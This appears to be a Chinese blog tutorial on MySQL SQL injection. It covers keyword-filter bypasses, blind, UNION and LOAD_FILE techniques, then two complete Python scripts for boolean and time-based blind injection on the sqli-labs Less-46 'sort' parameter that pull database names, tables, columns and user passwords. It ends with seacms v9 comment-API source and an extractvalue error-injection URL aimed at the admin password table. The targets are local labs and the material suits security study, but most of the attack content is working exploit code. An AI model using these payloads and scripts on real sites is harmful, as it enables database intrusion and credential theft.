当前位置: 首页 > news >正文

seacmsv9注入管理员账号密码+orderby+limi

1:mysql默认存储引擎innoDB携带的表

1,mysql.innodb_table_stats

2,mysql.innodb_index_stats

 SELECT table_name FROM mysql.innodb_table_stats WHERE database_name = DATABASE();

2: 关键字做处理
  • HEX编码:0x696E666F726D6174696F6E5F736368656D61
  • 字符串:concat('informa','tion_scheam') 
  • 大小写:INforMation_Scheam
3:时间盲注
SELECT IF(ASCII(SUBSTRING(DATABASE(), 1, 1)) = 97, SLEEP(5), 0);

如果条件为真,数据库将延迟5秒才返回结果,否则立即返回。通过调整不同的字符和条件,你可以逐渐拼凑出表名(可使用python脚本破解)

4:布尔盲注(python脚本)
SELECT CASE WHEN (SELECT SUBSTRING(mysql.innodb_table_stats, 1, 1) FROM your_table LIMIT 1) = 'a' THEN 1/0 ELSE 1 END;
5:利用联合查询
SELECT id, name FROM users WHERE id = 1 UNION SELECT table_name, '' FROM your_table;
6:文件读取:

某些数据库允许从文件系统中读取文件内容,假设你想读取 /etc/passwd 文件的内容:

SELECT LOAD_FILE('/etc/passwd');
7:以靶场第46关为例子

用Boolean盲注:

  • import requests

  • from lxml import html

  • def get_id_one(URL,paload):

  • res = requests.get(url=URL,params=paload)

  • tree = html.fromstring(res.content)

  • id_one = tree.xpath('//table//tr[1]/td[1]/text()')[0].strip()

  • return id_one

  • def get_database(URL):

  • # 获取数据库名称

  • s = ""

  • for i in range(1,10):

  • low = 32

  • hight = 128

  • mid = (low+hight)//2

  • while(hight > low):

  • paload = {"sort": f"if((greatest(ascii(substr(database(),{i},1)),{mid})={mid}),id,username) -- "}#相当于第一个字符<={mid}条件判断为真

  • id_one = get_id_one(URL,paload)

  • if id_one=="1":

  • hight = mid

  • mid = (low + hight) // 2

  • else:

  • low = mid +1

  • mid = (low + hight) // 2

  • s+=chr(mid)

  • print("数据库名称:"+s)

  • def get_table(URL):

  • # 获取表名称

  • s = ""

  • for i in range(1,32):

  • low = 32

  • hight = 128

  • mid = (low+hight)//2

  • while(hight > low):

  • paload = {"sort": f"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),id,username) -- "}

  • id_one = get_id_one(URL,paload)

  • if id_one=="1":

  • low = mid +1

  • mid = (low + hight) // 2

  • else:

  • hight = mid

  • mid = (low + hight) // 2

  • s+=chr(mid)

  • print("表的名称:"+s)

  • def get_column(URL):

  • # 获取管理员的字段名称

  • s = ""

  • for i in range(1,32):

  • low = 32

  • hight = 128

  • mid = (low+hight)//2

  • while(hight > low):

  • paload = {"sort": f"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),id,username) -- "}

  • id_one = get_id_one(URL,paload)

  • if id_one=="1":

  • low = mid +1

  • mid = (low + hight) // 2

  • else:

  • hight = mid

  • mid = (low + hight) // 2

  • s+=chr(mid)

  • print("列的名称:"+s)

  • def get_result(URl):

  • # 获取用户名和密码信息

  • s = ""

  • for i in range(1,32):

  • low = 32

  • hight = 128

  • mid = (low+hight)//2

  • while(hight > low):

  • paload = {"sort": f"if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),id,username) -- "}

  • id_one = get_id_one(URL,paload)

  • if id_one=="1":

  • low = mid +1

  • mid = (low + hight) // 2

  • else:

  • hight = mid

  • mid = (low + hight) // 2

  • s+=chr(mid)

  • print("用户名及密码信息:"+s)

  • if __name__ == '__main__':

  • URL = "http://localhost/Less-46/"

  • # get_database(URL)

  • # get_table(URL)

  • # get_column(URL)

  • get_result(URL)

用时间盲注:

  • import requests

  • import datetime

  • def get_database(URL):

  • # 获取数据库名称

  • s = ""

  • for i in range(1,10):

  • low = 32

  • hight = 128

  • mid = (low+hight)//2

  • while(hight > low):

  • paload = {"sort": f"if((greatest(ascii(substr(database(),{i},1)),{mid})={mid}),sleep(0.2),id) -- "}#相当于第一个字符<={mid}条件判断为真

  • start = datetime.datetime.now()

  • res = requests.get(url=URL, params=paload)

  • end = datetime.datetime.now()

  • if (end - start).seconds >=3:

  • hight = mid

  • mid = (low + hight) // 2

  • else:

  • low = mid +1

  • mid = (low + hight) // 2

  • print(chr(mid),mid)

  • s+=chr(mid)

  • print("数据库名称:"+s)

  • def get_table(URL):

  • # 获取表名称

  • s = ""

  • for i in range(1,32):

  • low = 32

  • hight = 128

  • mid = (low+hight)//2

  • while(hight > low):

  • paload = {"sort": f"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),sleep(0.2),id) -- "}

  • start = datetime.datetime.now()

  • res = requests.get(url=URL, params=paload)

  • end = datetime.datetime.now()

  • if (end - start).seconds >=3:

  • low = mid +1

  • mid = (low + hight) // 2

  • else:

  • hight = mid

  • mid = (low + hight) // 2

  • s+=chr(mid)

  • print("表的名称:"+s)

  • def get_column(URL):

  • # 获取管理员的字段名称

  • s = ""

  • for i in range(1,32):

  • low = 32

  • hight = 128

  • mid = (low+hight)//2

  • while(hight > low):

  • paload = {"sort": f"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),sleep(0.2),id) -- "}

  • start = datetime.datetime.now()

  • res = requests.get(url=URL, params=paload)

  • end = datetime.datetime.now()

  • if (end - start).seconds >=3:

  • low = mid +1

  • mid = (low + hight) // 2

  • else:

  • hight = mid

  • mid = (low + hight) // 2

  • s+=chr(mid)

  • print("列的名称:"+s)

  • def get_result(URl):

  • # 获取用户名和密码信息

  • s = ""

  • for i in range(1,32):

  • low = 32

  • hight = 128

  • mid = (low+hight)//2

  • while(hight > low):

  • paload = {"sort": f"if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),sleep(0.2),1) -- "}

  • start = datetime.datetime.now()

  • res = requests.get(url=URL, params=paload)

  • end = datetime.datetime.now()

  • if (end - start).seconds >=3:

  • low = mid +1

  • mid = (low + hight) // 2

  • else:

  • hight = mid

  • mid = (low + hight) // 2

  • s+=chr(mid)

  • print("用户名及密码信息:"+s)

  • if __name__ == '__main__':

  • URL = "http://localhost/Less-46/"

  • # get_database(URL)

  • # get_table(URL)

  • # get_column(URL)

  • get_result(URL)

8:seacmsv9实现报错注入数据:

  • <?php

  • session_start();

  • require_once("../../include/common.php");

  • $id = (isset($gid) && is_numeric($gid)) ? $gid : 0;

  • $page = (isset($page) && is_numeric($page)) ? $page : 1;

  • $type = (isset($type) && is_numeric($type)) ? $type : 1;

  • $pCount = 0;

  • $jsoncachefile = sea_DATA."/cache/review/$type/$id.js";

  • //缓存第一页的评论

  • if($page<2)

  • {

  • if(file_exists($jsoncachefile))

  • {

  • $json=LoadFile($jsoncachefile);

  • die($json);

  • }

  • }

  • $h = ReadData($id,$page);

  • $rlist = array();

  • if($page<2)

  • {

  • createTextFile($h,$jsoncachefile);

  • }

  • die($h);

  • function ReadData($id,$page)

  • {

  • global $type,$pCount,$rlist;

  • $ret = array("","",$page,0,10,$type,$id);

  • if($id>0)

  • {

  • $ret[0] = Readmlist($id,$page,$ret[4]);

  • $ret[3] = $pCount;

  • $x = implode(',',$rlist);

  • if(!empty($x))

  • {

  • $ret[1] = Readrlist($x,1,10000);

  • }

  • }

  • $readData = FormatJson($ret);

  • return $readData;

  • }

  • function Readmlist($id,$page,$size)

  • {

  • global $dsql,$type,$pCount,$rlist;

  • $ml=array();

  • if($id>0)

  • {

  • $sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";

  • $rs = $dsql ->GetOne($sqlCount);

  • $pCount = ceil($rs['dd']/$size);

  • $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";

  • $dsql->setQuery($sql);

  • $dsql->Execute('commentmlist');

  • while($row=$dsql->GetArray('commentmlist'))

  • {

  • $row['reply'].=ReadReplyID($id,$row['reply'],$rlist);

  • $ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";

  • }

  • }

  • $readmlist=join($ml,",");

  • return $readmlist;

  • }

  • function Readrlist($ids,$page,$size)

  • {

  • global $dsql,$type;

  • $rl=array();

  • $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";

  • $dsql->setQuery($sql);

  • $dsql->Execute('commentrlist');

  • while($row=$dsql->GetArray('commentrlist'))

  • {

  • $rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";

  • }

  • $readrlist=join($rl,",");

  • return $readrlist;

  • }

  • function ReadReplyID($gid,$cmid,&$rlist)

  • {

  • global $dsql;

  • if($cmid>0)

  • {

  • if(!in_array($cmid,$rlist))$rlist[]=$cmid;

  • $row = $dsql->GetOne("SELECT reply FROM sea_comment WHERE id=$cmid limit 0,1");

  • if(is_array($row))

  • {

  • $ReplyID = ",".$row['reply'].ReadReplyID($gid,$row['reply'],$rlist);

  • }else

  • {

  • $ReplyID = "";

  • }

  • }else

  • {

  • $ReplyID = "";

  • }

  • return $ReplyID;

  • }

  • function FormatJson($json)

  • {

  • $x = "{\"mlist\":[%0%],\"rlist\":{%1%},\"page\":{\"page\":%2%,\"count\":%3%,\"size\":%4%,\"type\":%5%,\"id\":%6%}}";

  • for($i=6;$i>=0;$i--)

  • {

  • $x=str_replace("%".$i."%",$json[$i],$x);

  • }

  • $formatJson = jsonescape($x);

  • return $formatJson;

  • }

  • function jsonescape($txt)

  • {

  • $jsonescape=str_replace(chr(13),"",str_replace(chr(10),"",json_decode(str_replace("%u","\u",json_encode("".$txt)))));

  • return $jsonescape;

  • }

输入以下sql注入:

http://127.0.0.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`', extractvalue(1, concat_ws( , \, (select user()))),@`'

但输入以下:

http://127.0.0.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`

 

说明注入失败

相关文章:

seacmsv9注入管理员账号密码+orderby+limi

1&#xff1a;mysql默认存储引擎innoDB携带的表 1&#xff0c;mysql.innodb_table_stats 2,mysql.innodb_index_stats SELECT table_name FROM mysql.innodb_table_stats WHERE database_name DATABASE(); 2&#xff1a; 关键字做处理 HEX编码:0x696E666F726D6174696F6E5F7…...

C#与AI的交互(以DeepSeek为例)

C#与ai的交互 与AI的交互使用的Http请求的方式&#xff0c;通过发送请求&#xff0c;服务器响应ai生成的文本 下面是完整的代码&#xff0c;我这里使用的是Ollama本地部署的deepseek&#xff0c;在联网调用api时&#xff0c;则url会有不同 public class OllamaRequester {[Se…...

面试八股文--数据库基础知识总结(2) MySQL

本文介绍关于MySQL的相关面试知识 一、关系型数据库 1、定义 关系型数据库&#xff08;Relational Database&#xff09;是一种基于关系模型的数据库管理系统&#xff08;DBMS&#xff09;&#xff0c;它将数据存储在表格&#xff08;表&#xff09;中&#xff0c;并通过表格…...

Failed to start The PHP FastCGI Process Manager.

报错如下&#xff1a; Job for php-fpm.service failed because the control process exited with error code. See "systemctl status php-fpm.service" and "journalctl -xe" for details. 2月 25 21:49:00 nginx systemd[1]: Starting The PHP FastC…...

软件供应链安全工具链研究系列——RASP自适应威胁免疫平台(上篇)

1.1 基本能力 RASP是一种安全防护技术&#xff0c;运行在程序执行期间&#xff0c;使程序能够自我监控和识别有害的输入和行为。也就是说一个程序如果注入或者引入了RASP技术&#xff0c;那么RASP就和这个程序融为一体&#xff0c;使应用程序具备了自我防护的能力&#xff0c;…...

Spring Boot集成MyBatis访问MySQL:从项目搭建到基础数据库查询(基础入门)

Spring Boot集成MyBatis访问MySQL 一、引言 在当今企业级应用开发中&#xff0c;Spring Boot、MyBatis与MySQL的组合凭借其高效性和灵活性&#xff0c;成为构建数据驱动型应用的首选方案。本文将带你从零开始搭建项目&#xff0c;掌握Spring Boot集成MyBatis的基础入门内容。…...

一周学会Flask3 Python Web开发-Jinja2模板继承和include标签使用

锋哥原创的Flask3 Python Web开发 Flask3视频教程&#xff1a; 2025版 Flask3 Python web开发 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili 不管是开发网站还是后台管理系统&#xff0c;我们页面里多多少少有公共的模块。比如博客网站&#xff0c;就有公共的头部&…...

【2025.2.25更新】wordpress免费AI插件,文章内容、图片自动生成、视频自动生成、网站AI客服、批量采集文章,内置deepseek联网满血版

wordpress免费AI插件&#xff0c;文章内容、文章图片、长尾关键词、视频自动生成、网站AI客服、批量采集文章&#xff0c;插件已接入腾讯云大模型知识引擎xDeepSeek&#xff0c;基于腾讯云大模型知识引擎xDeepSeek可联网满血版&#xff0c;插件可实现文章生成、长尾关键词生成、…...

待解决 leetcode71 简化路径 栈的应用

用多种ifelse很不好很复杂容易丢情况 class Solution { public:string simplifyPath(string path) {stack<char> st;string result;int n path.size();while(n > 1 && (path[n-1] / || path[n-1] .)){if(n > 2 && path[n-2] . && pat…...

数据安全_笔记系列09_人工智能(AI)与机器学习(ML)在数据安全中的深度应用

数据安全_笔记系列09_人工智能&#xff08;AI&#xff09;与机器学习&#xff08;ML&#xff09;在数据安全中的深度应用 人工智能与机器学习技术通过自动化、智能化的数据分析&#xff0c;显著提升了数据分类、威胁检测的精度与效率&#xff0c;尤其在处理非结构化数据、复杂…...

RocketMQ 可观测性最佳实践

RocketMQ 概述 Apache RocketMQ 是一个开源的分布式消息传递和流处理平台&#xff0c;由阿里巴巴团队最初开发并捐赠给 Apache 软件基金会。它主要用于处理大规模消息的发送和接收&#xff0c;支持高吞吐量、可扩展性强且具有高可用性的消息服务。 RocketMQ 的优势有以下几点…...

P9420 [蓝桥杯 2023 国 B] 子 2023

P9420 [蓝桥杯 2023 国 B] 子 2023 题目 分析代码 题目 分析 刚拿到这道题&#xff0c;我大脑简单算了一下&#xff0c;这个值太大了&#xff0c;直观感觉就很难&#xff01;&#xff01; 但是&#xff0c;你仔仔细细的一看&#xff0c;先从最简单的第一步入手&#xff0c;再…...

OpenAI开放Deep Research权限,AI智能体大战升级,DeepSeek与Claude迎来新对决

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…...

学习笔记04——JMM内存模型

一、Java内存模型&#xff08;JMM&#xff09;是什么&#xff1f; Java内存模型&#xff08;Java Memory Model, JMM&#xff09;是Java多线程编程中共享内存的访问规则&#xff0c;定义了线程如何与主内存&#xff08;Main Memory&#xff09;和工作内存&#xff08;Work Mem…...

将VsCode变得顺手好用(1

目录 设置中文 配置调试功能 提效和增强相关插件 主题和图标相关插件 创建js文件 设置中文 打开【拓展】 输入【Chinese】 下载完成后重启Vs即可变为中文 配置调试功能 在随便一个位置新建一个文件夹&#xff0c;用于放置调试文件以及你未来写的代码&#xff0c;随便命名但…...

Fisher信息矩阵(Fisher Information Matrix,简称FIM)

Fisher信息矩阵简介 Fisher信息矩阵&#xff08;Fisher Information Matrix&#xff0c;简称FIM&#xff09;是统计学和信息理论中的一个重要概念&#xff0c;广泛应用于参数估计、统计推断和机器学习领域。它以统计学家罗纳德费希尔&#xff08;Ronald Fisher&#xff09;的名…...

Vue2+Three.js加载并展示一个三维模型(提供Gitee源码)

目录 一、案例截图 二、安装Three.js 三、代码实现 四、Gitee源码 一、案例截图 二、安装Three.js npm install three 三、代码实现 模型资源我是放在public文件夹下面的&#xff1a; 完整代码&#xff1a; <template><div><div ref"container&qu…...

Linux红帽:RHCSA认证知识讲解(三)Linux基础指令与Vim编辑器的使用

Linux红帽&#xff1a;RHCSA认证知识讲解&#xff08;三&#xff09;Linux基础指令与Vim编辑器的使用 前言一、Linux基础指令二、Linux 文件系统层次结构概念三、通过路径指定文件四、使用命令行工具管理文件五、Vim 的安装方式六、Vim 的操作模式七、红帽建议掌握的 Vim 键和命…...

python读取sqlite温度数据,并画出折线图

需求&#xff1a; 在Windows下请用python画出折线图&#xff0c;x轴是时间&#xff0c;y轴是温度temperature 和体感温度feels_like_temperature 。可以选择县市近1小时&#xff0c;近1天&#xff0c;近1个月的。sqlite文件weather_data.db当前目录下&#xff0c;建表结构如下…...

《论企业集成平台的理解与应用》审题技巧 - 系统架构设计师

企业集成平台的理解与应用——论文写作框架 一、考点概述 本论题“企业集成平台的理解与应用”主要考察的是计算机软件测试工程师对于企业集成平台&#xff08;EIP&#xff09;的深入理解以及在实际项目中的应用能力。论题涵盖了以下几个核心内容&#xff1a; 首先&#xff…...

第19节 Node.js Express 框架

Express 是一个为Node.js设计的web开发框架&#xff0c;它基于nodejs平台。 Express 简介 Express是一个简洁而灵活的node.js Web应用框架, 提供了一系列强大特性帮助你创建各种Web应用&#xff0c;和丰富的HTTP工具。 使用Express可以快速地搭建一个完整功能的网站。 Expre…...

vscode里如何用git

打开vs终端执行如下&#xff1a; 1 初始化 Git 仓库&#xff08;如果尚未初始化&#xff09; git init 2 添加文件到 Git 仓库 git add . 3 使用 git commit 命令来提交你的更改。确保在提交时加上一个有用的消息。 git commit -m "备注信息" 4 …...

设计模式和设计原则回顾

设计模式和设计原则回顾 23种设计模式是设计原则的完美体现,设计原则设计原则是设计模式的理论基石, 设计模式 在经典的设计模式分类中(如《设计模式:可复用面向对象软件的基础》一书中),总共有23种设计模式,分为三大类: 一、创建型模式(5种) 1. 单例模式(Sing…...

关于 WASM:1. WASM 基础原理

一、WASM 简介 1.1 WebAssembly 是什么&#xff1f; WebAssembly&#xff08;WASM&#xff09; 是一种能在现代浏览器中高效运行的二进制指令格式&#xff0c;它不是传统的编程语言&#xff0c;而是一种 低级字节码格式&#xff0c;可由高级语言&#xff08;如 C、C、Rust&am…...

多种风格导航菜单 HTML 实现(附源码)

下面我将为您展示 6 种不同风格的导航菜单实现&#xff0c;每种都包含完整 HTML、CSS 和 JavaScript 代码。 1. 简约水平导航栏 <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name"viewport&qu…...

【C++从零实现Json-Rpc框架】第六弹 —— 服务端模块划分

一、项目背景回顾 前五弹完成了Json-Rpc协议解析、请求处理、客户端调用等基础模块搭建。 本弹重点聚焦于服务端的模块划分与架构设计&#xff0c;提升代码结构的可维护性与扩展性。 二、服务端模块设计目标 高内聚低耦合&#xff1a;各模块职责清晰&#xff0c;便于独立开发…...

ArcGIS Pro制作水平横向图例+多级标注

今天介绍下载ArcGIS Pro中如何设置水平横向图例。 之前我们介绍了ArcGIS的横向图例制作&#xff1a;ArcGIS横向、多列图例、顺序重排、符号居中、批量更改图例符号等等&#xff08;ArcGIS出图图例8大技巧&#xff09;&#xff0c;那这次我们看看ArcGIS Pro如何更加快捷的操作。…...

mysql已经安装,但是通过rpm -q 没有找mysql相关的已安装包

文章目录 现象&#xff1a;mysql已经安装&#xff0c;但是通过rpm -q 没有找mysql相关的已安装包遇到 rpm 命令找不到已经安装的 MySQL 包时&#xff0c;可能是因为以下几个原因&#xff1a;1.MySQL 不是通过 RPM 包安装的2.RPM 数据库损坏3.使用了不同的包名或路径4.使用其他包…...

C# 求圆面积的程序(Program to find area of a circle)

给定半径r&#xff0c;求圆的面积。圆的面积应精确到小数点后5位。 例子&#xff1a; 输入&#xff1a;r 5 输出&#xff1a;78.53982 解释&#xff1a;由于面积 PI * r * r 3.14159265358979323846 * 5 * 5 78.53982&#xff0c;因为我们只保留小数点后 5 位数字。 输…...

Pinocchio 库详解及其在足式机器人上的应用

Pinocchio 库详解及其在足式机器人上的应用 Pinocchio (Pinocchio is not only a nose) 是一个开源的 C 库&#xff0c;专门用于快速计算机器人模型的正向运动学、逆向运动学、雅可比矩阵、动力学和动力学导数。它主要关注效率和准确性&#xff0c;并提供了一个通用的框架&…...